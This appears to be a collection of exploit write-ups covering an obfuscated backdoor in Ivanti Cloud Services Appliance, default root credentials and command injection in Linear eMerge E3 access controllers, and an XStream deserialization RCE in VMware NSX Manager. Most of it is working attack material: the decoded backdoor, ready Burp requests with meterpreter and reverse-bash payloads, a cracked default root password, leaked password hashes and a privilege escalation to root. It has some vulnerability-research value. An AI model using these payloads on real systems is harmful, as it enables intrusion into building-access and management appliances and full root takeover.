It was discovered in December 2021 by the security researcher Jakub Kramarz and is affecting the Ivanti Cloud Services Appliance for Avanti Endpoint Manager versions before 4.6.0-512.
It allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).

if you read the security advisory, Ivanti Security Advisory 2021-12-02, it mentions that the vulnerable code is located in the /opt/landesk/broker/webroot/lib/csrf-magic.php and the target endpoint is /client/index.php.

To mitigate the issue, make a backup of the file and manually edit as follows: Remove the ten lines near the end of the file that start with “// Obscure Tokens” > but leave in the last 6 lines of code which follow which is the section that starts with “// Load user configuration”.

After some research on the Internet, i managed to lay my hands on a vulnerable virtual appliance and installed it in Virtualbox.
After searching in the file /opt/landesk/broker/webroot/lib/csrf-magic.php, I indeed found the vulnerable code mentioned in the security advisory (see code snippet below)

// Obscure Tokens
$aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn";
$lviw = str_replace("m","","msmtmr_mrmemplmamcme");
$bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2";
$hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg";
$rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==";
$xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce");
$murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn");
$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom))); $zmto();

Interesting, right? Because it clearly looks like some hidden code…
If you just copy this in a php file and run it you will soon understand that it dynamically generates a function that enables a cookie based RCE.
Note: create_function() is deprecated in PHP 8 and above

<?php
// Obscure Tokens
$aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn";
$lviw = str_replace("m","","msmtmr_mrmemplmamcme");
$bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2";
$hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg";
$rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==";
$xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce");
$murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn");
$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom)));  // $zmto();

$hvg= $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom));
echo "$lviw\n";
echo "$xytu\n";
echo "$murp\n";
echo "$hvg\n";
echo "$zmto\n";

Output

str_replace
base64_decode
create_function
$c='count';$a=$_COOKIE;if(reset($a)=='ab' && $c($a)>3){$k='c123';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}
lambda_1

The code line $c='count';$a=$_COOKIE;if(reset($a)=='ab' && $c($a)>3){$k='c123';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';} is the one with the logic.

It uses the $_COOKIE as the input and it checks the count of the cookie pairs which should be more then 3 and the first cookie pair value should be ab. If these conditions match it will use the cookie pair value matching the count – 3 containing base64 PHP code , sanitizes the base64 code (remove whitespace etc) and decodes it for execution in the eval function which natively executes PHP code. The result of the command execution can be found in the HTTP response between the tags <c123></c123>.

Some examples of Cookie headers that will work:
Example 1 (count =4) –> payload at 2nd pair: Cookie: hello=ab; exec=<base64 php payload>; cuckoo=; clock=;
Example 2 (count =5) –> payload at 3th pair: Cookie: thisisnice=ab; skipthisone=; executethisone=<base64 php payload>; b=; c=;
Example 3 (count =6) –> payload at 4th pair: Cookie: thisisnice=ab; skipthisone=; alsoskipthisone=; executethisone=<base64 php payload>; b=; c=;

Payload should be native PHP code and base64 encoded.

The most interesting question however is, why this is added to the code? It is a left-over from testing or more likely, a backdoor to get access to the appliances?
I do know the answer, but if you check with Shodan, you will still find more then 2000 of these appliances connected to the Internet from which around 15% still runs this vulnerable version.

Let’s play a bit with Burpsuite to see if the logic works…

Example one – system(“id”);

GET /client/index.php HTTP/1.1
Host: 192.168.100.41
Cookie: thisisnice=ab; skipthisone=; executethisone=c3lzdGVtKCJpZCIpOw==; b=; c=;
User-Agent: curl/7.86.0
Accept: */*
Connection: close

Output

HTTP/1.1 200 OK
Set-Cookie:LDCSASESSID=ttki9kounanus8fqm19juo3am6; path=/; secure; HttpOnly
Expires:Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma:no-cache
X-Frame-Options:sameorigin
X-Content-Type-Options:nosniff
Strict-Transport-Security:max-age=31536000; includeSubDomains;  preload
X-XSS-Protection:1; mode=block
Referrer-Policy:no-referrer
Content-type:text/html
Content-Length:7161
Date:Sun, 08 Jan 2023 05:29:50 GMT

<c123>uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
</c123>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Ivanti&reg; Cloud Services Appliance
etc....

Example two – php meterpreter

# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.100.41 LPORT=4444 -f raw | base64

Setup a multi/handler with payload php/meterpreter/reverse_tcp

Burp request

GET /client/index.php HTTP/1.1
Host: 192.168.100.41
Cookie: thisisnice=ab; skipthisone=; alsoskipthisone=; executethisone=Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguMTAwLjcnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw==; b=; c=;
User-Agent: curl/7.86.0
Accept: */*
Connection: close

Metasploit

msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf6 exploit(multi/handler) > [*] Sending stage (39927 bytes) to 192.168.100.41
[*] Meterpreter session 1 opened (192.168.100.7:4444 -> 192.168.100.41:59422) at 2023-01-08 10:00:10 +0000

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : localhost.localdomain
OS          : Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: nobody
meterpreter >

The appliance has a rich set of tooling such as python, netcat, bash, perl and others installed so the attack surface is pretty broad.
One point of attention however is that the attack surface for the appliances running in the wild might be restricted because of the hardening. For instance, most of the appliances only allow in and outbound traffic on port 80 and 443 (see Hardening CSA appliance).

Additional privilege escalation

If you have established a foothold on the appliance, you can get to root because the underlying CentOS is vulnerable to CVE-2021-4034.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options

Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION       1                yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.100.7    yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   x86_64



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > exploit

[*] Started reverse TCP handler on 192.168.100.7:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.zcbstvgmiy
[+] The target is vulnerable.
[*] Writing '/tmp/.shmkphpno/qwsfmu/qwsfmu.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.shmkphpno
[*] Sending stage (3045348 bytes) to 192.168.100.41
[+] Deleted /tmp/.shmkphpno/qwsfmu/qwsfmu.so
[+] Deleted /tmp/.shmkphpno/.xlfjhsej
[+] Deleted /tmp/.shmkphpno
[*] Meterpreter session 2 opened (192.168.100.7:5555 -> 192.168.100.41:43842) at 2023-01-08 10:25:05 +0000

meterpreter > getuid
Server username: root
meterpreter >

I have created a Metasploit module that has been submitted to the mainstream for production. A local version of this module can found at the References section.

Mitigation

Follow the guidance in security advisory Ivanti Security Advisory 2021-12-02.

References

Ivanti Security Advisory 2021-12-02
Packetstorm
Metasploit Development h00die-gr3y

Credits

Credits goes to the security researchers below who discovered and analyzed this vulnerability.

3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

In my article cve-2019-7256 at attackerkb.com, I already elaborated on the security risks and vulnerabilities that still exists on the Linear eMerge E3 access controller.
Beside the RCE vulnerabilities, also default credentials exist within the vulnerable configuration that can be easily leveraged to gain privileged access to the system.

There are two significant vulnerabilities:
The first one is based on a default root password that is a stored in the /etc/passwd and is available on the vulnerable configuration. This can be used to escalate to root privileges using the RCE vulnerability CVE-2019-7256 or use these credentials in combination with ssh (if enabled) to get root access to the access controller.
The second credential vulnerability allows an unauthenticated malicious actor to obtain the web credentials for user admin from the spider database that is accessible and readable for the world on the access controller. With this access, the malicious actor is able to control the Linear eMerge E3 access platform, the access to building and its cameras and the authority to manage the access rights of users.

Lets quickly demonstrate both vulnerabilities…

We assume that we have already gained access to the system using the RCE described in CVE-2019-7256

ls -l /etc/passwd
-rwxr--r--    1 e3user   linear         733 Nov 13  2012 /etc/passwd
cat /etc/passwd
root:$1$VVtYRWvv$gyIQsOnvSv53KQwzEfZpJ0:0:100:root:/root:/bin/sh
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/home/default:
e3user:$1$vR6H2PUd$52r03jiYrM6m5Bff03yT0/:1000:1000:Linux User,,,:/home/e3user:/bin/sh
lighttpd:$1$vqbixaUx$id5O6Pnoi5/fXQzE484CP1:1001:1000:Linux User,,,:/home/lighttpd:/bin/sh

AS you can see is the default root password hash stored directly in /etc/passwd and readable for world. Normally, these password hashes are stored in a /etc/shadow file that is only readable for root. With this configuration, It is very easy to retrieve the hash and run a password dictionary or brute force attack with for instance hashcat to retrieve the password. And do not worry, somebody did this job already in 2019 ;–) –> davestyle.

To test if the root default password is available…

echo davestyle | su -c whoami
root

The second credential vulnerability can be exploited by querying the spider access controller database which has the user and password information stored in clear text.

This database resides in /tmp/SpiderDB/Spider.db and with the command below you can very easily retrieve the admin web credentials.

grep "Controller" /tmp/SpiderDB/Spider.db |cut -f 5,6 -d ',' |grep ID
ID='admin',Password='xxxxxxx'

And if this is not successful, you can always try the default web credential setting admin:admin

Another Metasploit module to test the availability of the default root password and leak the admin web credentials has been submitted to the Metasploit mainstream.

Mitigation

Change the default root password on your access controller.
Update your Linear eMerge E3 access controller to a higher version then 1.00-06.

References

Nortek Linear eMerge E3-Series 1.00-06 Multiple Vulnerabilities
Packet storm

Credits

Credits goes to the security researcher below who discovered these vulnerabilities.
Gjoko ‘LiquidWorm’ Krstic

4
Ratings
Technical Analysis

Building Automation and Access Control systems are at the heart of many critical infrastructures, and their security is vital. Executing attacks on these systems may enable unauthenticated attackers to access and manipulate doors, elevators, air-conditioning systems, cameras, boilers, lights, safety alarm systems in an entire building – potentially causing physical damage, introducing safety risks or financial repercussions.

In one of the recent security engagements, we stumbled across a Nortek Linear eMerge E3 Access Controller managing all the building and camera access. It was exposed to the Internet for remote management on port 80 and we soon figured out that it was vulnerable.

And guess what, these vulnerabilities were already discovered in 2019 by Gjoko Krstic a.k.a LiquidWorm from Applied Risk. He published a paper AR2019005 that demonstrated a raft of critical vulnerabilities that exists on these Building Access Control Systems.
Nortek Security & Control, LLC (NSC) , the manufacturer of these Access Controls Systems is a leader in wireless security, home automation and personal safety systems and devices.
They claim that the eMerge E3-Series embedded browser-based network appliance platform makes advanced security technology reliable and affordable for any entry-level access control application.

Well, forget the words advanced security and reliable because it is pretty tragic to see that the majority of these Linear eMerge E3 access controllers (around 3500 listed in Shodan) are still vulnerable in 2022 and impose a huge security risk on the organizations using these devices for their physical and logical security.

Recently Nice, a global manufacturer of smart home, security and building automation solutions, announced the acquisition of Nortek and let’s hope that this will improve the quality of their security products.

Now let’s demonstrate on how vulnerable this platform is and bare in mind that this platform is responsible for building and camera access and therefore a prime target for malicious actors.

Within the Linear eMerge E3 access controller, several endpoints are vulnerable to a remote command injection (RCE).

  • http://HOST:PORT/card_scan_decoder.php?No=30&door=%60<CMD>%60
  • http://HOST:PORT/card_scan.php?No=30&ReaderNo=%60<CMD>%60
  • http://HOST:PORT/card_scan.php?No=1337&ReaderNo=%60<CMD>%60&CardFormatNo=1337

You can easily demonstrate this with burpsuite crafting a request, using the sleep command or create a test file with the command whoami > cuckoo.txt which then can be access through the web interface.

Burp request

GET /card_scan_decoder.php?No=30&door=%60sleep+10%60 HTTP/1.1
Host: <IP HOST>
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Response which will take around 10 seconds…

HTTP/1.1 200 OK
X-Powered-By: PHP/5.5.23
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 03 Dec 2022 04:53:22 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html; charset=utf-8
Connection: close
Date: Sat, 03 Dec 2022 04:53:32 GMT
Server: lighttpd/1.4.22
Content-Length: 67

{"raw":false,"card_format_default":"","total_bit":null,"data":null}

Example with whoami command

Burp request

GET /card_scan_decoder.php?No=30&door=%60whoami+>cuckoo.txt%60 HTTP/1.1
Host: <IP HOST>
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Get cuckoo.txt

GET /cuckoo.txt HTTP/1.1
Host: <IP HOST>
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/plain
Accept-Ranges: bytes
ETag: "2943015055"
Last-Modified: Sat, 03 Dec 2022 05:02:15 GMT
Content-Length: 9
Connection: close
Date: Sat, 03 Dec 2022 05:07:06 GMT
Server: lighttpd/1.4.22

lighttpd

This is already pretty interesting for malicious actors to pursue, but there is more to it.
The lighttpd user is restricted to execute certain commands due a restricted busybox implementation, so it is difficult to get a real reverse shell or meterpreter session established which gives full control on the server.

Well, do not worry, our Nortek friends also decided to implement a default root password on the access controller which easily can be picked from etc/password.
Yes, you red it right, /etc/password with read rights for the world instead of using /etc/shadow (see my analysis on CVE-2019-7252 for more info).
This password has already been hacked in 2019 and can be used to escalate privileges and get a root shell or meterpreter session.

Let’s show a quick example how we spawn a root shell…

First generate a payload with msfvenom

# msfvenom -p cmd/unix/reverse_bash LHOST=<ATTACKER> LPORT=<PORT> -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 77 bytes
bash -c '0<&74-;exec 74<>/dev/tcp/<ATTACKER>/<PORT>;sh <&74 >&74 2>&74'

Next step is to create the payload using the default root password davestyle
payload: echo davestyle | su -c "bash -c '0<&74-;exec 74<>/dev/tcp/<ATTACKER>/<PORT>;sh <&74 >&74 2>&74'"

Apply URL encoding to make it work in your burp request and start a multi/handler with the reverse_bash payload , <ATTACKER> and <PORT> settings in msf.
URL encode payload: %60echo+davestyle+%7C+su+-c+%22bash+-c+%270%3C%2674-%3Bexec+74%3C%3E%2Fdev%2Ftcp%2F<ATTACKER>%2F<PORT>%3Bsh+%3C%2674+%3E%2674+2%3E%2674%27%22%60

Burp request

GET /card_scan_decoder.php?No=30&door=%60echo+davestyle+%7C+su+-c+%22bash+-c+%270%3C%2674-%3Bexec+74%3C%3E%2Fdev%2Ftcp%2F<ATTACKER>%2F<PORT>%3Bsh+%3C%2674+%3E%2674+2%3E%2674%27%22%60 HTTP/1.1
Host: <IP HOST>
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Metasploit handler

msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on <ATTACKER>:<PORT>
msf6 exploit(multi/handler) > [*] Command shell session 1 opened (127.0.0.1:<PORT> -> 127.0.0.1:48944) at 2022-12-03 11:42:27 +0000

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

whoami
root
ls -l /etc/passwd
-rwxr--r--    1 e3user   linear         733 Nov 13  2012 /etc/passwd
cat /etc/passwd
root:$1$VVtYRWvv$gyIQsOnvSv53KQwzEfZpJ0:0:100:root:/root:/bin/sh
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/home/default:
e3user:$1$vR6H2PUd$52r03jiYrM6m5Bff03yT0/:1000:1000:Linux User,,,:/home/e3user:/bin/sh
lighttpd:$1$vqbixaUx$id5O6Pnoi5/fXQzE484CP1:1001:1000:Linux User,,,:/home/lighttpd:/bin/sh

The example above show that it is pretty simple to weaponize and therefore there is a high probability of exploitation in the wild.
I have created a Metasploit module that has been submitted to the Metasploit mainstream.

Mitigation

Please update your Linear eMerge E3 access controller to a higher version then 1.00-06.

References

Nortek Linear eMerge E3-Series 1.00-06 Multiple Vulnerabilities
Packet storm
Metasploit module

Credits

Credits goes to the security researcher below who discovered these vulnerabilities.
Gjoko ‘LiquidWorm’ Krstic

3
Ratings
Technical Analysis

On the 25th October 2022, security researcher Sina Kheirkhah and Steven Seeley from Source Incite discovered a remote code execution in VMware NSX Manager (NSX-V) that exploits the XStream vulnerability that was identified in August 2021.
There is an excellent writeup that can be found here: Eat What You Kill which explains this technical details of this remote code execution.
Please read the article first because I will not repeat all the good things explained in the article, but focus more on how to weaponize this exploit.

In a nut shell, XStream is a set of concise and easy-to-use open-source class libraries for marshalling Java objects into XML or unmarshalling XML into Java objects. It is a two-way converter between Java objects and XML.
In XStream <= 1.4.18 there is a de-serialization of untrusted data and is tracked as CVE-2021-39144. VMWare NSX Manager (NSX-V) uses the package xstream-1.4.18.jar so it is vulnerable to this de-serialization vulnerability.

But this is not the only part.

To make this work Dynamic Proxies are used.
Dynamic proxy is a design pattern in Java which provides a proxy for a certain object, and the proxy object controls the access to the real object. These proxies are fronts or wrappers that pass function invocation through their own facilities (onto real methods) and this is being used to trigger the execution.

And the final piece is to identify an endpoint that is reachable from an unauthenticated context, where an attacker can send a specially crafted XStream marshalled payload with the dynamic proxy and trigger remote code execution in the context of root!
This unauthenticated endpoint can be found in /home/secureall/secureall/sem/WEB-INF/spring/security-config.xml configuration and is pre-authenticated due to the use of isAnonymous.

<http auto-config="false" use-expressions="true" entry-point-ref="authenticationEntryPoint" create-session="stateless">
        <csrf disabled="true" />
        <!-- ... -->
        <intercept-url pattern="/api/2.0/services/usermgmt/password/**" access="isAnonymous()" />
        <intercept-url pattern="/api/2.0/services/usermgmt/passwordhint/**" access="isAnonymous()" />
        <!-- ... -->
        <custom-filter position="BASIC_AUTH_FILTER" ref="basicSSOAuthNFilter"/>
        <custom-filter position="PRE_AUTH_FILTER" ref="preAuthFilter"/>
        <custom-filter after="SECURITY_CONTEXT_FILTER" ref="jwtAuthFilter"/>
        <custom-filter before="BASIC_AUTH_FILTER" ref="unamePasswordAuthFilter"/>
    </http>

So far, so good, but how do we weaponize this to achieve the remote code execution?

At first, take this XML example below to craft your malicious XML payload.

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>PUT YOUR PAYLOAD HERE</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

Let’s take a reverse bash shell payload example: bash -i >& /dev/tcp/ATTACKER-IP/ATTACKER-PORT 0>&1 and send this with burpsuite to the pre-authenticated endpoint of a vulnerable VMware NSX Manager. The pre-authenticated endpoint will work with any randomized string /api/2.0/services/usermgmt/password/<random string>.

Note: please use HTML encoding for your payload inside the XML, otherwise it will NOT work.

Burp Request

PUT /api/2.0/services/usermgmt/password/blablabla HTTP/1.1
Host: 192.168.100.5
Content-Type: application/xml
Content-Length: 587

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>bash</string>
                    <string>-c</string>
                    <string>bash -i &#x3e;&#x26; /dev/tcp/192.168.100.7/4444 0&#x3e;&#x26;1</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

Start a Netcat listener on attacker host and send the burp request to the vulnerable endpoint.
You will get a bash shell on your attacker machine.

# nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.100.7] from (UNKNOWN) [192.168.100.5] 46488
bash: cannot set terminal process group (5722): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0# uname -a
uname -a
Linux manager 4.9.297 #1 SMP Tue Feb 1 08:50:25 GMT 2022 x86_64 GNU/Linux
bash-5.0# whoami
whoami
root
bash-5.0# 

Let’s take another example where we launch a meterpreter session using Metasploit.
First create a python meterpreter payload using mfsvenom.

# msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.100.7 LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 497 bytes
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTAwLjcnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))

Encode this payload with an HTML encoder. There are a lot of good HTML encoders online that you can use –> Online HTML encoder
And construct the XML payload below with burpsuite.

PUT /api/2.0/services/usermgmt/password/cuckoo HTTP/1.1
Host: 192.168.100.5
Content-Type: application/xml
Content-Length: 1055

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>python</string>
                    <string>-c</string>
                    <string>exec(__import__(&#39;base64&#39;).b64decode(__import__(&#39;codecs&#39;).getencoder(&#39;utf-8&#39;)(&#39;aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTAwLjcnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=&#39;)[0]))</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

Start up a python meterpreter listener in Metasploit using the multi/handler.

msf6 > use multi/handler
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  0.0.0.0          yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
